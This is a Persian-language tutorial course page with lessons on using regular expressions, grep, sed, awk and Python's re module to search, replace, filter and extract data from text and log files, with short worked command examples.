در این بخش، با مفهوم و کاربردهای Regular Expressions آشنا شدید. ما استفاده از Regular Expressions را در اسکریپت‌نویسی Bash و Python بررسی کردیم و به‌طور عملی نحوه جستجو، تطبیق، و جایگزینی داده‌ها با استفاده از این ابزار را نشان دادیم. Regular Expressions ابزاری قدرتمند و ضروری در پردازش متن هستند که می‌توانند به‌طور چشمگیری کارایی اسکریپت‌ها و ابزارهای خودکار شما را افزایش دهند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Regular Expressions در جستجو، جایگزینی و پردازش داده‌ها” subtitle=”توضیحات کامل”]Regular Expressions (عبارات منظم) ابزار قدرتمندی هستند که برای جستجو، جایگزینی و پردازش داده‌ها به‌طور گسترده‌ای در زبان‌های مختلف برنامه‌نویسی و اسکریپت‌نویسی استفاده می‌شوند. این ابزار به‌ویژه در اسکریپت‌نویسی Bash و Python برای انجام عملیات پیچیده بر روی متن و داده‌ها به‌کار می‌روند.

در این بخش، نحوه استفاده از Regular Expressions برای جستجو، جایگزینی و پردازش داده‌ها را در اسکریپت‌های Bash و Python بررسی می‌کنیم. همچنین مثال‌های عملی و کاربردی برای هر یک از این عملیات ارائه خواهد شد.

1. استفاده از Regular Expressions در جستجو

در ابتدا، نحوه جستجو و یافتن الگوها در متن با استفاده از Regular Expressions را بررسی می‌کنیم.

1.1 جستجو در Bash با استفاده از grep

در Bash، دستور grep به‌طور گسترده برای جستجو و یافتن الگوها در فایل‌ها یا ورودی‌ها استفاده می‌شود. با استفاده از grep می‌توان Regular Expressions را به کار گرفت و متنی که با الگوی مشخص‌شده تطابق دارد را جستجو کرد.

مثال 1: جستجو برای یک کلمه خاص در یک فایل

grep "pattern" /path/to/file

این دستور تمام خطوطی که شامل کلمه pattern هستند را در فایل /path/to/file نمایش می‌دهد.

مثال 2: جستجوی یک الگوی پیچیده با استفاده از Regular Expressions

grep "[0-9]" /path/to/file

این دستور تمام خطوطی که حاوی حداقل یک عدد هستند را پیدا و نمایش می‌دهد.

1.2 جستجو در Python با استفاده از re

در Python، ماژول re برای استفاده از Regular Expressions به‌کار می‌رود. این ماژول ابزارهای مختلفی را برای جستجو و تطبیق الگوها در متن فراهم می‌کند.

مثال 3: جستجوی یک الگو در متن

import re

pattern = r"\d+"  # جستجو برای یک یا بیشتر عدد
text = "There are 123 apples, 456 oranges, and 789 bananas."

match = re.search(pattern, text)

if match:
    print(f"Found: {match.group()}")

این کد، اولین عدد موجود در متن را پیدا کرده و آن را چاپ می‌کند.

2. استفاده از Regular Expressions در جایگزینی متن

در بسیاری از مواقع، نیاز به جایگزینی بخش‌هایی از متن با استفاده از الگوهای خاص داریم. در اینجا، نحوه انجام این کار در Bash و Python را بررسی می‌کنیم.

2.1 جایگزینی متن در Bash با استفاده از sed

ابزار sed در Bash برای ویرایش و جایگزینی متن با استفاده از Regular Expressions کاربرد دارد.

مثال 4: جایگزینی یک کلمه با کلمه‌ای دیگر

sed -i 's/old_word/new_word/g' /path/to/file

این دستور تمام occurrences (تکرارها) از کلمه old_word را با new_word در فایل /path/to/file جایگزین می‌کند.

مثال 5: جایگزینی در صورت تطابق با الگو

sed -i 's/[0-9]\+/X/g' /path/to/file

این دستور تمام اعداد موجود در فایل را با حرف X جایگزین می‌کند.

2.2 جایگزینی متن در Python با استفاده از re.sub()

در Python، از تابع re.sub() برای جایگزینی بخشی از متن با استفاده از Regular Expressions بهره می‌بریم.

مثال 6: جایگزینی اعداد با متن خاص

import re

pattern = r"\d+"  # جستجو برای یک یا بیشتر عدد
text = "There are 123 apples, 456 oranges, and 789 bananas."

modified_text = re.sub(pattern, "X", text)

print(f"Modified text: {modified_text}")

این کد تمام اعداد را با حرف X جایگزین می‌کند و متن تغییر یافته را چاپ می‌کند.

3. پردازش داده‌ها با استفاده از Regular Expressions

یکی از استفاده‌های مهم Regular Expressions، پردازش داده‌ها و استخراج اطلاعات از متن است. در این بخش، نحوه پردازش داده‌ها با استفاده از این ابزارها را در Bash و Python بررسی می‌کنیم.

3.1 پردازش داده‌ها در Bash با استفاده از awk

دستور awk در Bash برای پردازش داده‌ها و استخراج اطلاعات بر اساس الگوهای مشخص استفاده می‌شود.

مثال 7: استخراج اولین ستون از خطوطی که شامل یک الگو هستند

awk '/pattern/ {print $1}' /path/to/file

این دستور تمام خطوطی که شامل pattern هستند را پیدا کرده و اولین ستون آن‌ها را چاپ می‌کند.

3.2 پردازش داده‌ها در Python با استفاده از re.findall()

در Python، می‌توان از تابع re.findall() برای یافتن و استخراج تمام تطابق‌ها در یک متن استفاده کرد.

مثال 8: استخراج تمام اعداد از یک متن

import re

pattern = r"\d+"  # جستجو برای یک یا بیشتر عدد
text = "There are 123 apples, 456 oranges, and 789 bananas."

matches = re.findall(pattern, text)

print(f"Found numbers: {matches}")

این کد تمام اعداد موجود در متن را پیدا کرده و آن‌ها را در یک لیست نمایش می‌دهد.

4. ترکیب استفاده از Regular Expressions در Bash و Python

در برخی مواقع، ممکن است بخواهید از Bash برای انجام برخی عملیات و از Python برای پردازش داده‌ها استفاده کنید. در این صورت، می‌توانید از هر دو زبان به‌طور ترکیبی بهره ببرید.

مثال 9: استخراج داده‌ها با استفاده از Bash و پردازش آن‌ها با Python

#!/bin/bash

# استخراج داده‌ها با استفاده از grep
grep "pattern" /path/to/file > data.txt

# پردازش داده‌ها با استفاده از Python
python3 -c "
import re
with open('data.txt', 'r') as file:
    for line in file:
        match = re.search(r'\d+', line)
        if match:
            print(f'Found: {match.group()}')
"

این اسکریپت ابتدا با استفاده از grep داده‌ها را از یک فایل استخراج کرده و سپس با استفاده از Python، داده‌ها را پردازش کرده و اعداد موجود در آن‌ها را پیدا و چاپ می‌کند.

جمع‌بندی

در این بخش، روش‌های مختلف استفاده از Regular Expressions برای جستجو، جایگزینی و پردازش داده‌ها را در اسکریپت‌های Bash و Python بررسی کردیم. Regular Expressions ابزار بسیار مفیدی هستند که می‌توانند عملیات پیچیده‌ای بر روی متن و داده‌ها انجام دهند. با استفاده از این ابزارها، می‌توان به‌راحتی داده‌ها را جستجو، اصلاح و پردازش کرد و به‌طور مؤثری در اسکریپت‌نویسی خود از آن‌ها بهره برد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”کاربردهای Regular Expressions در فایل‌های لاگ و ورودی‌ها” subtitle=”توضیحات کامل”]فایل‌های لاگ و ورودی‌ها معمولاً حاوی داده‌هایی هستند که نیاز به تجزیه و تحلیل، استخراج یا فیلتر کردن اطلاعات خاص دارند. استفاده از Regular Expressions در این زمینه‌ها ابزار بسیار قدرتمندی است که می‌تواند عملیات پیچیده‌ای را به سادگی انجام دهد. این عملیات می‌تواند شامل جستجو، استخراج، جایگزینی یا فیلتر کردن اطلاعات خاص باشد. در این بخش، کاربردهای مختلف Regular Expressions در پردازش فایل‌های لاگ و ورودی‌ها را بررسی می‌کنیم.

1. جستجو و فیلتر کردن اطلاعات خاص در فایل‌های لاگ

یکی از رایج‌ترین کاربردهای Regular Expressions در فایل‌های لاگ، جستجو و فیلتر کردن اطلاعات خاص است. این اطلاعات ممکن است شامل خطاها، هشدارها یا هر نوع داده دیگری باشد که نیاز به بررسی دارد.

1.1 جستجو برای خطاها و هشدارها با استفاده از grep و Regular Expressions

در سیستم‌های مبتنی بر Unix، ابزار grep برای جستجو در فایل‌های متنی و لاگ‌ها استفاده می‌شود. با استفاده از Regular Expressions می‌توان به راحتی خطوطی که شامل خطاها یا هشدارها هستند را پیدا کرد.

مثال 1: جستجو برای خطوطی که شامل کلمه “error” یا “warning” هستند

grep -E "error|warning" /var/log/syslog

در این مثال، دستور grep با استفاده از Regular Expression جستجو می‌کند و تمام خطوطی که شامل کلمه “error” یا “warning” هستند را از فایل لاگ /var/log/syslog استخراج می‌کند. گزینه -E برای استفاده از Extended Regular Expressions است که امکان استفاده از عملگرهای پیچیده‌تر را فراهم می‌کند.

1.2 جستجو برای الگوهای پیچیده

گاهی اوقات نیاز به جستجو برای الگوهای پیچیده‌تر داریم. به‌عنوان مثال، می‌خواهیم تمام خطاهای مربوط به یک سرویس خاص را پیدا کنیم.

مثال 2: جستجو برای خطاهای مربوط به سرویس “apache2”

grep -E "apache2.*error" /var/log/apache2/error.log

در اینجا، grep تمام خطوطی که شامل کلمه “apache2” و بعد از آن کلمه “error” می‌باشند را پیدا و نمایش می‌دهد.

2. استخراج اطلاعات از فایل‌های لاگ با استفاده از awk و Regular Expressions

دستور awk در Bash ابزار دیگری است که برای پردازش و استخراج اطلاعات از فایل‌های متنی مانند لاگ‌ها بسیار مفید است. با استفاده از Regular Expressions می‌توان ستون‌ها یا داده‌های خاصی را از یک فایل لاگ استخراج کرد.

2.1 استخراج اطلاعات خاص با استفاده از awk

مثال 3: استخراج آدرس‌های IP از فایل لاگ

awk '/^.*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+).*$/ {print $1}' /var/log/apache2/access.log

این دستور از awk برای استخراج آدرس‌های IP استفاده می‌کند. این دستور تمام خطوطی که حاوی آدرس IP هستند را پیدا کرده و آدرس‌های IP را چاپ می‌کند.

2.2 استخراج تاریخ و زمان از لاگ

در بسیاری از لاگ‌ها تاریخ و زمان به‌صورت مشخصی ثبت می‌شود. با استفاده از Regular Expressions می‌توان فقط تاریخ و زمان را از خطوط استخراج کرد.

مثال 4: استخراج تاریخ از فایل لاگ

awk '{print $1, $2}' /var/log/syslog

در اینجا، awk دو ستون اول فایل لاگ را که معمولاً شامل تاریخ و زمان هستند چاپ می‌کند.

3. جایگزینی اطلاعات در فایل‌های لاگ

در برخی مواقع نیاز است که اطلاعات خاصی در فایل‌های لاگ تغییر کنند. این کار می‌تواند شامل حذف اطلاعات حساس یا جایگزینی آن‌ها باشد. با استفاده از Regular Expressions و دستور sed می‌توان این کار را انجام داد.

3.1 جایگزینی داده‌ها با استفاده از sed

مثال 5: جایگزینی کلمه “error” با “critical error” در یک فایل لاگ

sed -i 's/error/critical error/g' /var/log/syslog

در اینجا، دستور sed تمام occurrences (تکرارها) از کلمه “error” را با “critical error” در فایل /var/log/syslog جایگزین می‌کند. گزینه -i به‌منظور ویرایش فایل به‌صورت مستقیم استفاده می‌شود.

3.2 حذف خطوط حاوی اطلاعات حساس

اگر بخواهید اطلاعات حساس مانند آدرس‌های IP یا شماره‌های کارت اعتباری را از فایل‌های لاگ حذف کنید، می‌توانید از دستور sed به همراه Regular Expressions استفاده کنید.

مثال 6: حذف آدرس‌های IP از فایل لاگ

sed -i 's/[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+//g' /var/log/syslog

این دستور تمام آدرس‌های IP را از فایل لاگ حذف می‌کند.

4. پردازش ورودی‌ها و لاگ‌ها در Python با استفاده از Regular Expressions

در Python نیز می‌توان به‌راحتی از Regular Expressions برای پردازش فایل‌های لاگ و ورودی‌ها استفاده کرد. ماژول re در Python امکانات زیادی برای جستجو و پردازش داده‌ها از جمله جایگزینی، استخراج و فیلتر کردن اطلاعات فراهم می‌آورد.

4.1 جستجو و استخراج اطلاعات از فایل لاگ

مثال 7: جستجو برای خطاهای موجود در یک فایل لاگ

import re

with open('/var/log/syslog', 'r') as file:
    for line in file:
        if re.search(r"error|warning", line):
            print(line)

این کد تمام خطوطی که شامل کلمه “error” یا “warning” هستند را از فایل لاگ /var/log/syslog استخراج کرده و چاپ می‌کند.

4.2 جایگزینی اطلاعات در فایل لاگ

مثال 8: جایگزینی یک کلمه خاص با کلمه‌ای دیگر در فایل لاگ

import re

with open('/var/log/syslog', 'r') as file:
    content = file.read()

# جایگزینی "error" با "critical error"
content = re.sub(r"error", "critical error", content)

with open('/var/log/syslog', 'w') as file:
    file.write(content)

این کد تمامی occurrences از کلمه “error” را با “critical error” در فایل لاگ /var/log/syslog جایگزین می‌کند.

5. ترکیب ابزارهای مختلف برای پردازش فایل‌های لاگ

گاهی اوقات نیاز است که از ترکیب ابزارهای مختلف مانند grep، awk و sed در کنار Python استفاده کنیم تا عملیات پردازش فایل‌های لاگ را به‌طور مؤثرتر انجام دهیم.

مثال 9: استخراج خطاها با grep و پردازش آن‌ها با Python

#!/bin/bash

# استخراج خطاها از فایل لاگ با استفاده از grep
grep "error" /var/log/syslog > errors.txt

# پردازش داده‌ها با استفاده از Python
python3 -c "
import re
with open('errors.txt', 'r') as file:
    for line in file:
        if re.search(r'critical', line):
            print(f'Critical error found: {line}')
"

در این اسکریپت، ابتدا از grep برای استخراج خطوط حاوی کلمه “error” از فایل لاگ استفاده می‌شود. سپس این خطوط به Python ارسال می‌شود تا برای کلمه “critical” جستجو شود و خطاهای بحرانی شناسایی شود.

جمع‌بندی

استفاده از Regular Expressions در پردازش فایل‌های لاگ و ورودی‌ها ابزاری قدرتمند و بسیار کارآمد است. از آن برای جستجو، استخراج، فیلتر کردن و جایگزینی اطلاعات در فایل‌های لاگ و ورودی‌ها استفاده می‌شود. با ترکیب ابزارهایی مانند grep، awk و sed در Bash و همچنین استفاده از ماژول re در Python، می‌توانیم عملیات پیچیده‌ای را به‌سادگی انجام دهیم. این ابزارها در مدیریت سیستم‌ها و پایش لاگ‌ها بسیار مفید هستند و به‌طور مؤثری در شناسایی و رفع مشکلات سیستم کمک می‌کنند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مثال‌های عملی از استفاده Regular Expressions برای پردازش داده‌ها” subtitle=”توضیحات کامل”]Regular Expressions (Regex) ابزار قدرتمندی برای پردازش داده‌ها است که در بسیاری از زبان‌های برنامه‌نویسی و ابزارهای خط فرمان قابل استفاده است. این ابزار به شما کمک می‌کند تا داده‌ها را جستجو کنید، استخراج کنید، یا به‌راحتی آنها را تغییر دهید. در این بخش، چندین مثال عملی از کاربردهای Regular Expressions برای پردازش داده‌ها آورده شده است.

1. جستجو و استخراج اطلاعات از یک فایل متنی

فرض کنید که یک فایل متنی داریم که شامل داده‌هایی مانند آدرس‌های ایمیل است و نیاز داریم تمام آدرس‌های ایمیل را از آن استخراج کنیم.

مثال 1: استخراج آدرس‌های ایمیل از یک فایل متنی با استفاده از grep

grep -Eo "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" input.txt

در این مثال:

  • grep برای جستجو استفاده شده است.
  • گزینه -E به‌منظور استفاده از Extended Regular Expressions است.
  • گزینه -o باعث می‌شود که تنها آدرس‌های ایمیل استخراج‌شده نمایش داده شوند.
  • الگوی Regular Expression برای شناسایی آدرس‌های ایمیل به‌کار رفته است که شامل حروف و اعداد و سپس علامت @ و دامنه است.

2. جایگزینی اطلاعات در داده‌ها

گاهی اوقات نیاز داریم تا بخشی از داده‌ها را با اطلاعات جدید جایگزین کنیم. Regular Expressions به‌راحتی این کار را انجام می‌دهند.

مثال 2: جایگزینی شماره تلفن‌های قدیمی با شماره‌های جدید در یک فایل متنی

sed -E 's/\([0-9]{3}\)-[0-9]{3}-[0-9]{4}/(555)-555-5555/g' input.txt

در این مثال:

  • دستور sed برای جایگزینی استفاده شده است.
  • الگوی Regular Expression برای شناسایی شماره تلفن‌های با فرمت (XXX)-XXX-XXXX به‌کار رفته است.
  • در اینجا، همه شماره تلفن‌ها با شماره (555)-555-5555 جایگزین می‌شوند.

3. فیلتر کردن داده‌ها بر اساس الگوهای خاص

مثال 3: فیلتر کردن فایل‌های لاگ برای استخراج خطاها با استفاده از grep

grep -E "ERROR|WARN" /var/log/syslog

در این مثال:

  • از دستور grep برای جستجو در فایل لاگ /var/log/syslog استفاده می‌شود.
  • Regular Expression به‌گونه‌ای تنظیم شده است که تمام خطوطی که شامل کلمه “ERROR” یا “WARN” هستند را استخراج کند.

4. استخراج تاریخ و زمان از فایل‌های لاگ

در بسیاری از سیستم‌ها، فایل‌های لاگ شامل اطلاعاتی هستند که با تاریخ و زمان شروع می‌شوند. با استفاده از Regular Expressions می‌توانیم تاریخ و زمان را از این فایل‌ها استخراج کنیم.

مثال 4: استخراج تاریخ از فایل لاگ

grep -Eo "^[0-9]{4}-[0-9]{2}-[0-9]{2}" /var/log/syslog

در این مثال:

  • از دستور grep برای استخراج تاریخ‌ها استفاده می‌شود.
  • الگوی Regular Expression برای شناسایی تاریخ‌ها در قالب YYYY-MM-DD تعریف شده است.

5. اعتبارسنجی ورودی‌ها

Regular Expressions می‌توانند برای اعتبارسنجی ورودی‌ها در فرم‌ها یا فایل‌های ورودی استفاده شوند.

مثال 5: اعتبارسنجی یک آدرس ایمیل با استفاده از Python

import re

email = "example@domain.com"
pattern = r"^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$"

if re.match(pattern, email):
    print("آدرس ایمیل معتبر است")
else:
    print("آدرس ایمیل معتبر نیست")

در این مثال:

  • از ماژول re در Python برای بررسی صحت یک آدرس ایمیل استفاده شده است.
  • الگوی Regular Expression برای مطابقت با آدرس‌های ایمیل معتبر به‌کار رفته است.

6. حذف خطوط خاص از داده‌ها

فرض کنید که شما می‌خواهید تمامی خطوطی که شامل یک کلمه خاص هستند را از یک فایل حذف کنید. این کار به‌راحتی با استفاده از Regular Expressions قابل انجام است.

مثال 6: حذف خطوطی که شامل “DEBUG” هستند از یک فایل لاگ

sed -i '/DEBUG/d' /var/log/syslog

در این مثال:

  • از دستور sed برای حذف خطوط استفاده می‌شود.
  • الگوی Regular Expression به‌گونه‌ای تنظیم شده است که تمام خطوطی که شامل کلمه “DEBUG” هستند را از فایل لاگ /var/log/syslog حذف کند.

7. استخراج آدرس IP از داده‌ها

آدرس‌های IP در فایل‌های لاگ می‌توانند به‌راحتی با استفاده از Regular Expressions استخراج شوند.

مثال 7: استخراج آدرس‌های IP از فایل لاگ

grep -oP '\b(?:\d{1,3}\.){3}\d{1,3}\b' /var/log/syslog

در این مثال:

  • از دستور grep برای استخراج آدرس‌های IP استفاده می‌شود.
  • الگوی Regular Expression برای شناسایی آدرس‌های IP به‌کار رفته است که چهار بخش عددی را از هم جدا کرده و با نقطه به هم متصل می‌کند.

8. استخراج کلمات از یک متن

گاهی اوقات نیاز داریم تنها کلمات خاصی را از متن‌ها استخراج کنیم. این کار را می‌توان با Regular Expressions انجام داد.

مثال 8: استخراج تمام کلمات از یک فایل متنی

grep -oE '\w+' input.txt

در این مثال:

  • دستور grep برای استخراج کلمات استفاده شده است.
  • الگوی Regular Expression برای شناسایی کلمات به‌کار رفته است.

جمع‌بندی

استفاده از Regular Expressions برای پردازش داده‌ها ابزاری بسیار مفید و قدرتمند است که می‌تواند در بسیاری از زمینه‌ها از جمله جستجو، استخراج، جایگزینی، و فیلتر کردن داده‌ها در فایل‌های متنی، لاگ‌ها و ورودی‌ها به کار آید. با استفاده از Regular Expressions می‌توان عملیات پیچیده را به‌سادگی و با کمترین کدنویسی انجام داد و بسیاری از فرآیندهای پردازش داده را بهینه کرد.[/cdb_course_lesson][cdb_course_lesson title=”فصل 6. ابزارهای پردازش متن (sed، awk)”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از sed برای ویرایش فایل‌ها و داده‌ها” subtitle=”توضیحات کامل”]sed (Stream Editor) یکی از ابزارهای قدرتمند در لینوکس است که برای ویرایش و پردازش داده‌ها در خطوط متنی استفاده می‌شود. با استفاده از sed می‌توان عملیات مختلفی مانند جستجو، جایگزینی، حذف یا تغییر خطوط در فایل‌ها و ورودی‌ها را انجام داد. این ابزار به‌خصوص زمانی که نیاز به پردازش متنی و ویرایش داده‌ها به‌صورت خودکار و بدون نیاز به ویرایش دستی باشد، بسیار مفید است.

در این بخش، به بررسی استفاده از sed برای ویرایش فایل‌ها و داده‌ها می‌پردازیم و چندین مثال کاربردی برای شما ارائه می‌دهیم.

1. جایگزینی متن در یک فایل

یکی از رایج‌ترین کاربردهای sed جایگزینی متن در فایل‌ها است. این کار با استفاده از دستور s/old_text/new_text/ انجام می‌شود که old_text را با new_text جایگزین می‌کند.

مثال 1: جایگزینی یک کلمه خاص در فایل

فرض کنید که می‌خواهید کلمه “apple” را با “orange” در یک فایل به نام fruits.txt جایگزین کنید. دستور زیر این کار را انجام می‌دهد:

sed -i 's/apple/orange/g' fruits.txt

در این مثال:

  • -i باعث می‌شود که تغییرات به‌صورت مستقیم در فایل اعمال شود.
  • s/apple/orange/g دستور جایگزینی است که تمام نمونه‌های کلمه “apple” را با “orange” جایگزین می‌کند.
  • گزینه g به معنی “global” است که تمام نمونه‌های کلمه را در هر خط جایگزین می‌کند.

2. حذف خطوط خاص از فایل

با استفاده از sed می‌توان خطوط خاصی از یک فایل را حذف کرد. برای این کار از دستور d استفاده می‌شود.

مثال 2: حذف تمامی خطوطی که شامل کلمه “DEBUG” هستند

فرض کنید که می‌خواهید تمام خطوطی که شامل کلمه “DEBUG” هستند را از فایل syslog.txt حذف کنید:

sed -i '/DEBUG/d' syslog.txt

در این مثال:

  • /DEBUG/ الگوی جستجو برای کلمه “DEBUG” است.
  • d باعث حذف خطوطی می‌شود که این الگو در آن‌ها یافت شده است.
  • گزینه -i تغییرات را مستقیماً در فایل اعمال می‌کند.

3. اضافه کردن متن به ابتدای یا انتهای خطوط

با استفاده از sed می‌توان به‌راحتی متنی را به ابتدای یا انتهای خطوط فایل اضافه کرد.

مثال 3: اضافه کردن متن به ابتدای هر خط

برای افزودن متن “START:” به ابتدای هر خط در یک فایل data.txt از دستور زیر استفاده می‌کنیم:

sed -i 's/^/START: /' data.txt

در این مثال:

  • ^ نشان‌دهنده ابتدای هر خط است.
  • START: متنی است که می‌خواهیم به ابتدای هر خط اضافه کنیم.

مثال 4: اضافه کردن متن به انتهای هر خط

برای افزودن متن ” END” به انتهای هر خط در فایل data.txt از دستور زیر استفاده می‌کنیم:

sed -i 's/$/ END/' data.txt

در این مثال:

  • $ نشان‌دهنده انتهای هر خط است.
  • END متنی است که به انتهای هر خط اضافه می‌شود.

4. تغییر یک خط خاص در فایل

اگر بخواهید تنها یک خط خاص را در یک فایل تغییر دهید، می‌توانید از شماره خط برای تعیین مکان استفاده کنید.

مثال 5: تغییر محتوای خط پنجم

برای تغییر محتوای خط پنجم در فایل data.txt به “New Content” از دستور زیر استفاده می‌کنیم:

sed -i '5s/.*/New Content/' data.txt

در این مثال:

  • 5 شماره خطی است که می‌خواهیم تغییرات را در آن اعمال کنیم.
  • s/.*/New Content/ به این معنی است که کل محتوای آن خط با “New Content” جایگزین شود.

5. استخراج بخش‌های خاص از داده‌ها

با استفاده از sed می‌توان بخش‌های خاصی از داده‌ها را استخراج کرد.

مثال 6: استخراج تنها بخش‌های عددی از یک فایل

فرض کنید در فایل data.txt اعدادی در وسط متن داریم و می‌خواهیم فقط اعداد را استخراج کنیم. برای این کار از دستور زیر استفاده می‌کنیم:

sed -n 's/[^0-9]*\([0-9]*\)[^0-9]*/\1/p' data.txt

در این مثال:

  • [^0-9]* به‌معنی تمام کاراکترهایی است که عدد نیستند.
  • \([0-9]*\) بخش عددی را که می‌خواهیم استخراج کنیم، شناسایی می‌کند.
  • \1 بخش شماره‌گذاری شده را که حاوی عدد است، برمی‌گرداند.
  • p برای چاپ خطوطی که تغییر یافته‌اند به کار می‌رود.

6. اعمال تغییرات فقط در خطوط خاص

گاهی اوقات نیاز داریم تغییرات را فقط در برخی از خطوط فایل اعمال کنیم. این کار با استفاده از شماره خط‌ها یا الگوها انجام می‌شود.

مثال 7: تغییر فقط خطوطی که حاوی “error” هستند

برای تغییر کلمه “error” به “ERROR” تنها در خطوطی که این کلمه وجود دارد، از دستور زیر استفاده می‌کنیم:

sed -i '/error/s/error/ERROR/' file.txt

در این مثال:

  • /error/ الگوی جستجوی خطوطی است که شامل “error” هستند.
  • s/error/ERROR/ تغییر “error” به “ERROR” است.

7. استفاده از sed برای ایجاد فایل جدید

گاهی نیاز دارید که تغییرات را در یک فایل جدید اعمال کنید و فایل اصلی را دست نزنید. برای این کار می‌توانید از ریدایرکت خروجی استفاده کنید.

مثال 8: ذخیره تغییرات در یک فایل جدید

برای ذخیره تغییرات در یک فایل جدید به جای فایل اصلی، از دستور زیر استفاده می‌کنیم:

sed 's/apple/orange/g' input.txt > output.txt

در این مثال:

  • تغییرات در یک فایل جدید به نام output.txt ذخیره می‌شود و فایل اصلی input.txt دست نخورده باقی می‌ماند.

جمع‌بندی

استفاده از sed برای ویرایش فایل‌ها و داده‌ها یک روش بسیار قدرتمند و انعطاف‌پذیر است که به شما این امکان را می‌دهد که بدون نیاز به ویرایش دستی، تغییرات مختلفی را در فایل‌ها و داده‌ها اعمال کنید. از جایگزینی متن گرفته تا حذف، اضافه کردن، یا استخراج بخش‌های خاص از داده‌ها، sed ابزاری مناسب برای پردازش سریع و مؤثر داده‌ها است.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از awk برای پردازش و فیلتر کردن داده‌ها” subtitle=”توضیحات کامل”]awk یکی از ابزارهای قدرتمند در لینوکس است که برای پردازش و فیلتر کردن داده‌ها استفاده می‌شود. این ابزار به‌ویژه در پردازش داده‌های متنی با فرمت‌های ساختاریافته (مانند فایل‌های CSV یا TSV) مفید است. awk قابلیت انجام عملیات پیچیده مانند فیلتر کردن داده‌ها، اعمال تغییرات در ستون‌های خاص، محاسبات و چاپ خروجی‌های سفارشی را دارد.

در این بخش، به بررسی کاربردهای مختلف awk برای پردازش و فیلتر کردن داده‌ها می‌پردازیم و چندین مثال عملی را با جزئیات ارائه می‌دهیم.

1. فیلتر کردن داده‌ها بر اساس الگو

اولین و رایج‌ترین استفاده از awk فیلتر کردن داده‌ها بر اساس الگوها است. می‌توانیم خطوط خاصی را که شامل یک کلمه یا عبارت خاص هستند، انتخاب کنیم.

مثال 1: فیلتر کردن خطوطی که حاوی کلمه خاص هستند

فرض کنید که در فایل data.txt می‌خواهید فقط خطوطی را مشاهده کنید که شامل کلمه “apple” هستند:

awk '/apple/' data.txt

در این مثال:

  • /apple/ الگوی جستجو برای کلمه “apple” است.
  • awk تمام خطوطی که این کلمه در آن‌ها وجود دارد را چاپ می‌کند.

2. انتخاب ستون‌های خاص از داده‌ها

یکی از ویژگی‌های مهم awk این است که می‌تواند به راحتی ستون‌های خاصی از داده‌ها را استخراج کند. در فایل‌های متنی با فرمت‌های جدولی، هر ستون با فضای سفید یا جداکننده‌هایی مانند کاما یا تب (Tab) از هم جدا می‌شود.

مثال 2: انتخاب ستون خاص از یک فایل

فرض کنید که فایل data.csv دارای داده‌هایی است که با کاما از هم جدا شده‌اند، و شما می‌خواهید ستون دوم آن را مشاهده کنید:

awk -F, '{print $2}' data.csv

در این مثال:

  • -F, به awk می‌گوید که جداکننده فیلدها کاما (,) است.
  • {print $2} به awk دستور می‌دهد که فقط ستون دوم هر خط را چاپ کند.

3. انجام محاسبات با استفاده از awk

awk این امکان را می‌دهد که عملیات محاسباتی را روی داده‌ها انجام دهید. شما می‌توانید مجموع، میانگین، حداکثر یا حداقل مقادیر یک ستون خاص را محاسبه کنید.

مثال 3: محاسبه مجموع و میانگین ستون‌ها

فرض کنید که در فایل sales.txt فروش ماهانه به‌صورت جدولی ذخیره شده است و می‌خواهید مجموع و میانگین ستون دوم (که مقادیر فروش را نشان می‌دهد) را محاسبه کنید:

awk '{sum += $2} END {print "Total: " sum; print "Average: " sum/NR}' sales.txt

در این مثال:

  • {sum += $2} به awk می‌گوید که مقادیر ستون دوم را جمع بزند.
  • END {print "Total: " sum; print "Average: " sum/NR} دستورهایی هستند که پس از پردازش تمام خطوط اجرا می‌شوند و مجموع و میانگین محاسبه‌شده را چاپ می‌کنند.
  • NR تعداد کل خطوط فایل است (که برای محاسبه میانگین استفاده می‌شود).

4. استفاده از الگوهای شرطی برای فیلتر کردن داده‌ها

awk به شما این امکان را می‌دهد که با استفاده از شرایط خاص، تنها خطوطی را که با یک الگوی خاص مطابقت دارند، پردازش کنید. می‌توانید از عملگرهای شرطی برای انجام این کار استفاده کنید.

مثال 4: انتخاب خطوط با مقادیر خاص در یک ستون

فرض کنید در فایل data.txt ستون اول حاوی مقادیر عددی است و شما می‌خواهید فقط خطوطی را که مقدار ستون اول آن‌ها بزرگتر از 100 هستند، چاپ کنید:

awk '$1 > 100' data.txt

در این مثال:

  • $1 اشاره به ستون اول داده‌ها است.
  • > 100 شرطی است که فقط خطوطی را که مقدار ستون اول آن‌ها بزرگتر از 100 باشد، انتخاب می‌کند.

5. اعمال تغییرات و نمایش خروجی سفارشی

با استفاده از awk می‌توان تغییرات خاصی در داده‌ها اعمال کرده و خروجی‌های سفارشی به دست آورد.

مثال 5: اضافه کردن متن به خروجی

فرض کنید که می‌خواهید در فایل data.txt به هر خط کلمه “Processed” را در انتهای آن اضافه کنید:

awk '{print $0 " Processed"}' data.txt

در این مثال:

  • $0 به معنی کل خط است.
  • " Processed" متنی است که به انتهای هر خط اضافه می‌شود.

6. فیلتر کردن داده‌ها با استفاده از چندین شرط

در awk می‌توان چندین شرط را به‌طور همزمان اعمال کرد تا داده‌ها به‌طور دقیق‌تری فیلتر شوند.

مثال 6: فیلتر کردن داده‌ها بر اساس چندین شرط

فرض کنید که در فایل data.txt دو ستون داریم: ستون اول سن افراد و ستون دوم درآمد. می‌خواهیم فقط افرادی که سن آن‌ها بین 30 تا 50 و درآمد آن‌ها بیشتر از 50000 باشد را انتخاب کنیم:

awk '$1 >= 30 && $1 <= 50 && $2 > 50000' data.txt

در این مثال:

  • $1 >= 30 && $1 <= 50 به معنی فیلتر کردن خطوطی است که سن بین 30 تا 50 باشد.
  • $2 > 50000 به معنی فیلتر کردن خطوطی است که درآمد بیشتر از 50000 داشته باشند.

